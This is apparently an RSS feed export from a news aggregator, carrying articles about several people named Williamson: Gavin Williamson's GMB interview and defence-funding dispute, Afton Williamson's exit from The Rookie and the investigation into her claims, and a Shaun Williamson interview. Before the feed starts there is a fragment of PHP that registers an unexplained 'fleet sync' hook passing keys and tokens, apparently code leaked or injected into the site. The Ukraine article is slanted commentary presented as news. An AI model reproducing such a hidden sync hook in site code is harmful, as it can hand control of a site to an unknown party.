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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Williamson – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 24 Feb 2021 10:37:05 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Williamson – Brief News https://briefnews.eu 32 32 ITV GMB backlash: Piers Morgan sparks uproar as fans blast ‘wasteful’ Gavin Williamson row https://briefnews.eu/itv-gmb-backlash-piers-morgan-sparks-uproar-as-fans-blast-wasteful-gavin-williamson-row/ https://briefnews.eu/itv-gmb-backlash-piers-morgan-sparks-uproar-as-fans-blast-wasteful-gavin-williamson-row/#respond Wed, 24 Feb 2021 10:37:05 +0000 https://briefnews.eu/itv-gmb-backlash-piers-morgan-sparks-uproar-as-fans-blast-wasteful-gavin-williamson-row/

With children up and down the country heading back to the classroom next month, Gavin Williamson joined Piers Morgan and Susanna Reid on Good Morning Britain to answer their questions about the move. However, after facing one or two questions about vaccine uptake among teachers, Piers’s attention soon turned to Health Secretary Matt Hancock and the court ruling which judged him to have acted “unlawfully” in the publication of PPE contracts.

For the majority of the interview, Piers insisted Mr Williamson should apologise on Mr Hancock and the Government’s behalf following the ruling.

Despite Mr Williamson reiterating the Government never “intends” to act unlawfully and that there would be “regret”, Piers wasn’t satisfied.

Continually talking over the MP, Piers demanded Mr Williamson say sorry for the ruling.

And while some viewers were pleased to see Piers hold Mr Hancock to account on Tuesday’s episode of GMB, it’s fair to say they weren’t impressed to see a similar line of questioning fired Mr Williamson’s way.

READ MORE: Edwina Currie slaps down Piers in fierce defence of Matt Hancock

Many took to Twitter to blast Piers for “wasting” the opportunity to ask questions about pupils’ return to schools in March.

“@gmb @piersmorgan what a waste of an interview. You have the education secretary on,” one fan fumed on Twitter. 

“He’s answering questions that matter to those that are going back into the schools. Then you stop talking about that and waste the rest of the time talking about what was/wasn’t said yesterday.”

A second was in complete agreement: “@GMB @piersmorgan What was the point of having Williamson on and not discussing what is going to be happening re education and merely ranting about the unlawful health judgment?

“We are waiting to hear about exams etc but you chose to go off on a complete tangent.”

A third echoed: “@GMB can your so-called interviewers to ask relevant questions to said guests?

“Like how the kids will be tested in schools who is going to do it what if a kid gets a positive test who gets sent home etc etc …rather than spend the entire time boring us.”

And a fourth added to the debate: “@GMB what happened to actually asking Gavin Williamson about schools & universities? Not continually asking for an apology for PPE contracts! And please tell me what has that actually gained?”

The complaints come after one particularly tense back and forth between Piers and Mr Williamson, in which the GMB host said: “You were found guilty of unlawful conduct.

“I am really struggling as to why none of you are prepared to say sorry,” he added, prompting Mr Williamson to reply: “Well, what the Government will do is take action in order to address the court judgement -“

However, he was abruptly cut off by Piers who insisted once again: “Are you sorry you acted unlawfully? Yes or no?”

“Well, the Government would never aim to act unlawfully and obviously -” Mr Williamson said as he cut short once more.

“You did,” Piers interjected. “You acted unlawfully and were found guilty for it, so are you sorry?”

As Mr WIlliamson headed on a similar answer to his previous once, Piers eventually barked: “Why do guys find it so hard?! Just say we’re very sorry.”

Mr Williamson defended himself, however, expressing his desire to talk about schools and saying: “You had Matt [Hancock] all day yesterday, Piers!”

Good Morning Britain continues weekdays at 6am on ITV.

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]]> https://briefnews.eu/itv-gmb-backlash-piers-morgan-sparks-uproar-as-fans-blast-wasteful-gavin-williamson-row/feed/ 0 The Rookie: Afton Williamson Calls Investigation Findings ‘Heartbreaking’ https://briefnews.eu/the-rookie-afton-williamson-calls-investigation-findings-heartbreaking/ https://briefnews.eu/the-rookie-afton-williamson-calls-investigation-findings-heartbreaking/#respond Wed, 18 Sep 2019 12:02:29 +0000 http://briefnews.eu/the-rookie-afton-williamson-calls-investigation-findings-heartbreaking/

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Former The Rookie star Afton Williamson is responding to the news that her claims of on-set harassment have been dismissed.

In an Instagram post on Tuesday, the actress said the investigation’s findings — which concluded that there was no unlawful or inappropriate behavior from the people Williamson accused — were “heartbreaking for everyone on that set, past and present.” She added that “what saddens me the most is that the lengths that were taken to deceive, lie, and cover up the truth were far greater than those made to protect and maintain a safe working environment for employees.” She vowed to “continue to work so that casts and crews alike finally see words align with action.”

Earlier on Tuesday, the findings of an internal investigation into Williamson’s claims were released, and “concluded that those identified in Ms. Williamson’s allegations did not conduct themselves in an unlawful manner or demonstrate behavior inappropriate for the workplace.” The findings also concluded that the showrunners, including executive producer Alexi Hawley, “addressed matters of which they were made aware promptly and in a fair and reasonable manner.”

Williamson went public with her claims in August, accusing a fellow cast member of sexual harassment and the show’s hair department of racial discrimination; she also said she was sexually assaulted at the Season 1 wrap party. She exited the ABC drama in July, after starring alongside Nathan Fillion in Season 1 as LAPD officer Talia Bishop.

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]]> https://briefnews.eu/the-rookie-afton-williamson-calls-investigation-findings-heartbreaking/feed/ 0 The Rookie: Investigation Into Claims Made by Afton Williamson Finds No Unlawful or Inappropriate Behavior https://briefnews.eu/the-rookie-investigation-into-claims-made-by-afton-williamson-finds-no-unlawful-or-inappropriate-behavior/ https://briefnews.eu/the-rookie-investigation-into-claims-made-by-afton-williamson-finds-no-unlawful-or-inappropriate-behavior/#respond Tue, 17 Sep 2019 23:18:56 +0000 http://briefnews.eu/the-rookie-investigation-into-claims-made-by-afton-williamson-finds-no-unlawful-or-inappropriate-behavior/

An independent, third-party investigation into allegations made by actress Afton Williamson ahead of her abrupt exit from ABC’s The Rookie has ended, and its findings exonerate those named in the claims.

The investigation, ordered by production house eOne, was commissioned by law firm Mitchell Silberberg & Knupp LLP, who engaged EXTTI, a third-party firm “recognized for their extensive expertise in investigating allegations of harassment, discrimination and retaliation in the workplace.”

“[W]e have concluded that those identified in Ms. Williamson’s allegations did not conduct themselves in an unlawful manner or demonstrate behavior inappropriate for the workplace,” reads the statement from eOne. “It was also concluded that the executive producers, including showrunner Alexi Hawley, addressed matters of which they were made aware promptly and in a fair and reasonable manner.”

An ABC spokesperson responded to eOne’s full statement (below), saying, “We are glad that eOne has completed an investigation into allegations on the set of The Rookie. We are confident that eOne takes these matters seriously and that they will continue to look for the best ways to surface concerns and address complaints.”

In a message posted to Instagram on Aug. 4, Williamson — who played Talia Bishop, the training officer for Nathan Fillion’s title character — alleged that starting with The Rookie‘s pilot shoot in spring 2018 and throughout all of Season 1, she “experienced racial discrimination/racially charged inappropriate comments from the hair department,” as well as sexual harassment from a recurring guest star (whom she eventually named). Williamson alleged that the bullying from the hair department escalated into sexual assault at the Season 1 wrap party.

“HR protocol was never adhered to following the above reports given by me to my showrunner/EP [Alexi Hawley], and an investigation was never issued for any of my claims,” Williamson claimed in her Instagram post. “Despite being told that “everything was handled” following a June meeting that she called — involving Hawley, two other producers, her agent and a SAG-AFTRA union representative — “The investigation hadn’t even begun and Season 2 had already started filming.” As a result, she said, “I walked.” (Read how Williamson’s character, Talia Bishop, will be written out for Season 2.)

Showrunner Hawley previously told TVLine of Williamson’s most unexpected exit, “It’s not really my place to get into her personal decision,” while ABC entertainment president Karey Burke admitted to reporters at this summer’s TCA press tour that she “doesn’t have a lot of answers” on the matter.

The full statement from eOne is below:

We are today addressing the findings of the investigation initiated as a result of the claims made by actor Afton Williamson regarding our series The Rookie. The investigation was commissioned via law firm Mitchell Silberberg & Knupp LLP who engaged third-party firm EXTTI, recognized for their extensive expertise in investigating allegations of harassment, discrimination and retaliation in the workplace.

We take all allegations of inappropriate conduct very seriously, particularly when the allegations involve discrimination or sexual harassment of any nature. We appreciate the cooperation of all those who were interviewed, including Ms. Williamson, the individuals she identified by name, and several other relevant production and staff members.

The investigation encompassed nearly 400 hours of interviews and review of evidence, involving a significant amount of material, including video, that was provided to and examined by the investigator. As a result of the independent investigation, we have concluded that those identified in Ms. Williamson’s allegations did not conduct themselves in an unlawful manner or demonstrate behavior inappropriate for the workplace. It was also concluded that the executive producers, including showrunner Alexi Hawley, addressed matters of which they were made aware promptly and in a fair and reasonable manner.

We recognize and respect that as individuals, the lens through which we view situations, interactions and comments, can differ based on our experiences and perspectives. As such, we regret that Ms. Williamson’s time on the series was not a positive one for her, and we respect her decision to move on to other projects.
We continue to focus on fostering a safe and respectful work environment for all our corporate and production employees and further reinforce our policies and procedures. To protect the privacy of all those interviewed, the investigator’s report will not be available publicly.

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]]> https://briefnews.eu/the-rookie-investigation-into-claims-made-by-afton-williamson-finds-no-unlawful-or-inappropriate-behavior/feed/ 0 The Rookie’s Afton Williamson Is Not Returning for Season 2 https://briefnews.eu/the-rookies-afton-williamson-is-not-returning-for-season-2/ https://briefnews.eu/the-rookies-afton-williamson-is-not-returning-for-season-2/#respond Sat, 27 Jul 2019 02:58:22 +0000 http://briefnews.eu/the-rookies-afton-williamson-is-not-returning-for-season-2/

Cop, out.

Sources tell TVLine exclusively that in one of the biggest casting surprises of the upcoming fall TV season, Afton Williamson will not be returning to ABC’s The Rookie , where she played the title character’s TO, Talia Bishop.

Series lead Nathan Fillion, as well as Alyssa Diaz, Richard T. Jones, Titus Makin Jr., Melissa O’Neil and Eric Winter, will return for the light procedural’s sophomore run (which starts Sept. 29, now airing Sundays at 10/9c).

TVLine hears that the parting of ways is “amicable.” Both ABC and production studio eOne declined to comment on Williamson’s status.

Bishop was a major character and significant presence during Season 1, begrudgingly taking under her wing Fillion’s John Nolan, a fortysomething rookie whose underperformance could very well stymie her career path. Williamson was well written for in the role, especially in an April episode in which we learned that Bishop years ago withheld potentially compromising information from her LAPD application.

Fans took to Bishop quite well, too. As Williamson told TVLine in April, “Like, America likes her. They don’t know why, because she’s stern and they’re usually off-put by that type of demeanor, but for some reason, she wins them over every week because she sees the thing in Nolan that he has to keep proving to everybody else. She’s gunning for the underdog, and I think that that’s why she’s lovable in that way.”

How will The Rookie fill this important void in its central TO/rookie relationship? As TVLine reported in June, the series is adding a male detective to take Nolan under his wing; that role has since been cast with Lost alum Harold Perrineau.

Prior to her Rookie run, Williamson’s TV credits included Shades of Blue, The Night Of and A Gifted Man.

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]]> https://briefnews.eu/the-rookies-afton-williamson-is-not-returning-for-season-2/feed/ 0 The Rookie’s Afton Williamson Doubles Down on Bishop’s Bold Decision, Hails Co-Star’s ‘Beautiful’ Death Scene https://briefnews.eu/the-rookies-afton-williamson-doubles-down-on-bishops-bold-decision-hails-co-stars-beautiful-death-scene/ https://briefnews.eu/the-rookies-afton-williamson-doubles-down-on-bishops-bold-decision-hails-co-stars-beautiful-death-scene/#respond Wed, 03 Apr 2019 05:43:25 +0000 http://briefnews.eu/the-rookies-afton-williamson-doubles-down-on-bishops-bold-decision-hails-co-stars-beautiful-death-scene/ ABC’s The Rookie this week put yet another character in the (at least proverbial) line of fire, not long after Captain Andersen lost her life in the line of duty.

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As the squad this week was tasked to check in on several convicts who got sprung early due to a dirty cop being busted, Bishop was led visit the brother no one knew she had: Dylan, whom she parted ways with when a better foster home came calling. Dylan to this day feels his sister abandoned him.

Worried that Dylan was still running with a rough crowd — namely Terry, the ex-con she had just checked in on — Talia tailed her brother one night, verifying that he was again up to no good. Going solo, her bid to get the drop on the two and bring them in was a bust, when a third tough sneaked up on her. Talia was tied up and hauled away in a van, to a remote location where she was to be executed. Dylan, though, put a bullet into Terry before his sister could be shot. Talia, though, would not let her brother simply flee but instead arrested him, believing it was a better fate for him than the streets.

After the harrowing event, Bishop came clean to Sergeant Grey about the fact that Dylan is her brother — one purposely omitted from her Personal History Questionnaire, due to his criminal record. The disclosure, coming on a very bad day for Grey, could very well cost Bishop her badge. But will it?

TVLine spoke to Afton Williamson about the potentially life-changing series of events, plus her reaction to the freshman drama’s first, tragic casualty.

TVLINE | Did you know when you first started the series that this storyline was coming?
I knew nothing. I didn’t know until my makeup artist told me the week before, because they were in meetings for the episode. She looked stone white when I came in for touchups. I’m like, “What’s going on?” and she’s like, “Um, did you read 118? It’s a lot.” And when I read it, I was blown away by how smart Talia’s arc has been.

The No. 1 question I have been getting in interviews is: What’s Talia’s deal? Like, America likes her. They don’t know why, because she’s stern and they’re usually off-put by that type of demeanor, but for some reason, she wins them over every week because she sees the thing in Nolan that he has to keep proving to everybody. She’s gunning for the underdog, and I think that that’s why she’s lovable in that way. I mean it’s funny to call her “lovable” because she’s definitely not a bunny. She’s more like a porcupine. But at the same time, we hadn’t learned why she has her spikes up.

When the foster kid situation happened a few episodes back and we never revisited that, I was just like, “Oh crap. When it hits, it’s going to hit hard.” I knew [showrunner] Alexi [Hawley} has something up his sleeve. This was written by Bill Rinier, who is our script coordinator, and Natalie Callaghan, who is Alexi’s assistant and one of our really good writers on the show, and you could tell that they have watched, that they were piecing together this thread. Episodics are like a quilt, so you just hope that the person who got that next piece cares as much about this one as you did and carries it forward. And I can tell you right now, we have a whole quilt from Episode 1 to 20. Nobody drops the ball.

TVLINE | You, Eric [Winter] and Alyssa [Diaz] are all playing different characters, but if there’s a common theme, it’s a professional detachment that the TOs try to maintain with their “boots.” Did you speak to any real-life TOs about that whole, “I’m not your friend, I’m not your partner” dynamic?
The coolest interaction that I got to see with the TO-rookie relationship was when we were training for the pilot. The three of us were given the opportunity to ride along with LAPD, we all picked a night, and the thing is it was… pretty uneventful. Like, they thought there was a hit-and-run or something and it was, like, a bat mitzvah or something with fireworks. So though it wasn’t a busy night, the sergeant talked so much about what this really is like. And we got to see the roll call, where we sat in the back and the rookies were right in the front, all four of them, sitting straight with their pads out, with their faces forward.

The TOs meanwhile hang out like upperclassmen, drinking coffee, joking, and their relationships are ones for the rest of their lives. I mean there are people that say, “Yeah, I’m still friends with my TO.” There was this woman who was just steel, I mean, she would actually spit on the ground while she was talking. A hardcore chick. Her boot was running around in a circle, because she forgot something. She pointed to her and goes, “This is how they learn, because if I help her, when we get out in the line of duty, she’ll be looking for me to help her.” That’s that Jackson/Lopez situation.

RookieTVLINE | Getting back to the big developments of this episode, were you surprised at all by Talia’s decision? I mean, she could have let Dylan escape. 
Absolutely not. I was not at all surprised about Talia’s decision. I was happy.

TVLINE | He just saved her life.
But the thing is I’m saving his, and that is the thing I couldn’t do [before]. When I left him at that foster home, I just left, and that’s the thing that has eaten her up her whole life. Not that he was a bad kid or he got in trouble. No, it was that she never looked back. That’s why she has saved every pound puppy, that’s why she will never give up on Nolan and won’t let him give up on his self. She’s getting the opportunity she never got before.

TVLINE | And she’d just seen anew that left to his own devices, Dylan is going to keep going down a bad path.
Ocourse. But also, in that one moment when the gunshot goes off [saving Talia’s life], they look at each other and they’re brother and sister. She said, “You saved me,” and then in the same sentence [as she cuffs Dylan], he says, “What are you doing?” “I’m saving you.” That was a blood pact I’ve never seen before. When I saw that clip, I went yes, they’re brother and sister.

TVLINE | It was great how you two established that rapport, in so few scenes and from scratch.
Caleb Castille, who played my brother, was absolutely amazing. I thanked Alexi after the first day when he checked in. He knew this was a big episode, and he knew I could handle it, but usually I’m with Nolan or usually we’re paired up and this was a lot of me with guest cast, tied up in a van. But it was perfect because I did feel twice-removed from the show, from my castmates and in a whole other storyline.

RookieTVLINE | Talia has confessed that she lied on her PHQ — and at the worst possible time, with the precinct under a microscope now. Is there a possibility that Grey might back-pocket the whole thing to save them some trouble?
What do you think, at this point? At this point, who do you know Sergeant Grey to be? Could you even see him back-pocketing something and letting something sweep? I mean, he gave her Nolan as a learning tool. He has always pushed her.

TVLINE | But for the sake of the greater precinct, he could sit on this information for a bit.
And what’s beautiful is that it is a perfect conundrum. It is a moral decision. Nobody wins. You know he’s trying to look out for her in her career. He knows that this is where she’s supposed to be, and she loves it to a fault. She loves it so much that you see she is still human, and that is the most redeeming quality about Talia. She’s human. And she lied. She lied.

TVLINE | Written or played differently, she could’ve been a total pill, to a point where we’re like, “Ugh, why is Nolan partnered with such a….”
Again, now, she’s always on his ass. But now we get to see these maneuvers that make us go, “Oh crap,” you know what I mean? She’ll go, “Fine, I’ll ram a big rig into the wall, even if I think it’s a bad idea.” At the end of the day, she’s ride or die.

TVLINE | When we lost Captain Andersen, played by Mercedes Mason…. This fan base has been a bit on the quiet side, I thought, but boy, did they react. Were you shocked by that development?
Yes, absolutely shocked. I get chills [watching the funeral scene] because it was not supposed to rain, and we had a ginormous storm. It was eerie because we are standing in rain, watching the processional, thinking about how Mercedes, a part of our cast, isn’t with us. That dynamic of her not being on set every week is weird.

TVLINE | I know you didn’t have a ton of scenes with her, but still….
But yeah, we’re a family, man, so it was hard. She let us know several weeks before, when she knew. But even though I knew it was coming up in a few episodes, when it hit, and we all had to read it, it was hard.

TVLINE | And I’m sure the words on the page didn’t come close to communicating the actual scene of her taking a bullet to the neck, and seeing the life drain out of her.
A lot of that stuff we were not privy to, because it was her and Nathan [Fillion shooting the scene]. But watching it, I was texting her, “Oh my god!” and she’s like, “It was intense.” And I’m like, “No, you don’t understand, the neck…” Can we just pour one out for the homies for the shot to the neck and the eyes rolling up in her head and the slipping into the water? That was the most beautiful thing I had ever seen. I was like, “You killed it.” She said, “If I’m going to do it, take me out hardcore,” so the fact that she went out likes she wants to made me so happy. Mercedes, if you know her, is just one of the coolest human beings I have ever been honored to meet, and if you’ve met her, then you’ve been honored. So, you’re welcome.

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]]> https://briefnews.eu/the-rookies-afton-williamson-doubles-down-on-bishops-bold-decision-hails-co-stars-beautiful-death-scene/feed/ 0 UK’s Def Sec Gavin ‘Russia should shut up’ Williamson tours Ukraine’s ‘frontline’ https://briefnews.eu/uks-def-sec-gavin-russia-should-shut-up-williamson-tours-ukraines-frontline/ https://briefnews.eu/uks-def-sec-gavin-russia-should-shut-up-williamson-tours-ukraines-frontline/#respond Wed, 19 Sep 2018 16:00:22 +0000 http://briefnews.eu/uks-def-sec-gavin-russia-should-shut-up-williamson-tours-ukraines-frontline/

British Defense Secretary Gavin Williamson has visited Ukraine and toured the eastern part of the country, where Ukrainian officials told him how they are fighting against a “Russian aggression.”

Two regions of Ukraine are divided between rebel-controlled parts and those under control of the central government in Kiev. Ukrainian officials regularly host tours for foreign dignitaries to show off its military, which, Kiev insists, is fighting Russian aggression rather than its own people who rejected the 2014 armed coup in Kiev.

Defence Secretary Gavin Williamson is the latest such visitor to be snatched by hosts and brought to what can be loosely called the frontline. Gen. Sergey Naev, the commander of Ukraine’s military crackdown on the rebels personally told the visiting Briton about his successes and needs and “thanked the government and the people of Britain for supporting Ukraine in her fight with the insidious enemy,” as the Facebook page of his task force put it.

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Hearing such things about Russia was probably appreciated by the British secretary, whose anti-Russian stance is no secret. Williamson famously told Moscow to “go away and shut up” shortly after Britain expelled 23 Russian diplomats in the aftermath of the Skripal poisoning and has been relentless in drumming up the specter of Russian aggression to secure extra taxpayer money. At least he seems to be quite happy shaking hands with Ukrainian soldiers. Or maybe it’s just that manly helmet and bulletproof vest that did the trick.

Of course, visiting Ukraine must feel like a great reprieve. There pretty much any foreign official with a grudge against Russia gets a king’s welcome. And Williamson doesn’t even work for the International Monetary Fund, so he didn’t have to twist any arms, pushing for yet another hike of gas prices or subsidy cut.

In Ukraine, the media called Williams a good friend of the country and didn’t ridicule his habit of keeping a giant tarantula in the office or suggest that mounting a few big guns on a tractor is a viable alternative to buying tanks. And if his speech to the local lawmakers is interrupted by Siri, nobody would probably care – the Ukrainian parliament witnessed things much weirder.

And certainly if Williamson were to find some even more rude words about Russia, he would not be grilled for them in a live interview. He’d have a street in Kiev named after him or something.

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]]> https://briefnews.eu/uks-def-sec-gavin-russia-should-shut-up-williamson-tours-ukraines-frontline/feed/ 0 Celebrity Big Brother 2018: EastEnders star Shaun Williamson speaks out on reality series https://briefnews.eu/celebrity-big-brother-2018-eastenders-star-shaun-williamson-speaks-out-on-reality-series/ https://briefnews.eu/celebrity-big-brother-2018-eastenders-star-shaun-williamson-speaks-out-on-reality-series/#respond Thu, 16 Aug 2018 19:39:50 +0000 http://briefnews.eu/celebrity-big-brother-2018-eastenders-star-shaun-williamson-speaks-out-on-reality-series/

EastEnders actor and singer Shaun appeared on Celebrity Big Brother last year alongside Sarah Harding and Amelia Lily. 

The actor was eliminated from the show two days before the final day, after not receiving enough votes from the public to win. 

Speaking exclusively to Express.co.uk, Shaun opened up about his time on the show and what goes on behind the scenes. 

Commenting on his own experience, he dished: ”I was dull, and all the producers want is mayhem.”

He added that he was encouraged to “get in there and get involved” when arguments arose in the house. 

Despite wanting to get involved, Shaun noted: “To be honest if I’m in there screaming at an 18-year-old girl it doesn’t look very good.

“I went in there with the resolve that if anything happened I would defend myself – but everyone spoke to me with respect.

“To be 52 and to be able to do Celebrity Big Brother is great. 

“It’s just almost a privilege to be able to go and do something that weird and wonderful at a fairly late age.”

Shaun went on to admit that he doesn’t think he’ll be appearing on any other reality shows any time soon. 

“I think you have a sort of reality ‘window’ – I think Big Brother shuts the reality show door for two or three years ‘cause you’ve had your slot,” he explained.

“I came out of Celebrity Big Brother and didn’t work for two months. So it’s no good at getting work at all, and I just needed the money.”

Channel 5 recently revealed there are no current plans for the series to continue in 2019. 

Speaking about why Celebrity Big Brother may not continue, Shaun remarked: “Love Island has stolen it’s thunder.

“They’re all beautiful people and they’re in a Big Brother situation – and they all cop-off with each other. 

“The people who want that sort of thing are Big Brother fans.”

Shaun recently reprised his role as Barry from EastEnders for a remake of the iconic 1980s Levi’s laundrette advert.

He can be seen stripping off for the piece for Dr. Beckmann’s Colour and Dirt Collector sheets.

Revealing why he wanted to take part in the project, he said: “I’ve played many a character in my time, but the opportunity to step into Nick Kamen’s shoes for Dr. Beckmann’s latest ad was one I simply couldn’t turn down.”

Celebrity Big Brother returns tonight to Channel 5. 

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]]> https://briefnews.eu/celebrity-big-brother-2018-eastenders-star-shaun-williamson-speaks-out-on-reality-series/feed/ 0 ‘I made her, I can break her’: Williamson rallies Tory rebels in bid to up defense spending – report https://briefnews.eu/i-made-her-i-can-break-her-williamson-rallies-tory-rebels-in-bid-to-up-defense-spending-report/ https://briefnews.eu/i-made-her-i-can-break-her-williamson-rallies-tory-rebels-in-bid-to-up-defense-spending-report/#respond Mon, 25 Jun 2018 11:55:10 +0000 http://briefnews.eu/i-made-her-i-can-break-her-williamson-rallies-tory-rebels-in-bid-to-up-defense-spending-report/ Defence Secretary Gavin Williamson has not given up on squeezing the treasury for more defense spending, with reports suggesting he has at least 50 MPs willing to vote against the government if he fails to get his way.

The threat of a parliamentary putsch comes after reports in the Mail on Sunday that Williamson had threatened to bring down Prime Minister Theresa May’s government if he didn’t secure more funds for the MoD.

That number of willing Tory rebels could be as high as 70, one senior Conservative MP, and close ally of Williamson, told The Times, adding that they would be holding fire until MPs got a glimpse of the MoD’s snapshot of its defense spending plans, which is expected to be unveiled in the next two weeks.

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According to the report, he had previously bragged to defense chiefs upon taking over the position last November that: “I made her – I can break her,” a reference to his former role as chief whip of the party.

Williamson is currently at loggerheads with the prime minister and treasury over funding for his department, which faces a potential £20.5 billion (US$ 27.1 billion) funding shortage for its current procurement and modernization plans.

A mini review of these modernization plans was expected to be agreed upon by the government already, ahead of being published in July, but this has now been rolled back to the early autumn.

Instead, “headline conclusions” of the modernizing plan will be unveiled by May at the upcoming NATO summit in Brussels, a meeting where it is expected that US President Donald Trump will pressure fellow members of the alliance to up their defense spending to at least two percent of GDP.

Williamson parroted Trump’s demands for European allies to take on greater financial responsibility for their defense in The Times last week, following news of a tense meeting with the prime minister and chancellor where he was told that no more additional funds would be made available for defense. Instead, May is favoring a £20.5 billion investment in the NHS.

According to the current MoD procurement plans, it needs an additional £2 billion per year for the next 10 years in order to keep up with current equipment procurement. But that figure is deemed too low as it would not have any room for embracing new technologies and modernizing ageing weaponry.

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MPs from the Defence Select Committee have already given their backing to Williamson’s calls for more funds. A recent report published by the group recommend the upping of defense spending to three percent of GDP or £17 billion.

While it remains to be seen if the threat of bringing down the government – it has a majority of just 13 MPs – will see May release more funds to see her through to Brexit Day 2019, such a move could see Labour’s Jeremy Corbyn move into No. 10 and Nia Griffith MP take over from Williamson.

If elected into government, Labour have proposed radical changes to defense spending in the department such as halting the mass outsourcing of MoD contracts for the provision of services including housing, fire, and rescue to companies such as Capita.

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Paul Wesley is sinking his teeth into a new TV role: The Vampire Diaries alum has joined the cast of the upcoming CBS All Access thriller Tell Me a Story, according to our sister site Deadline, reuniting with TVD executive producer Kevin Williamson.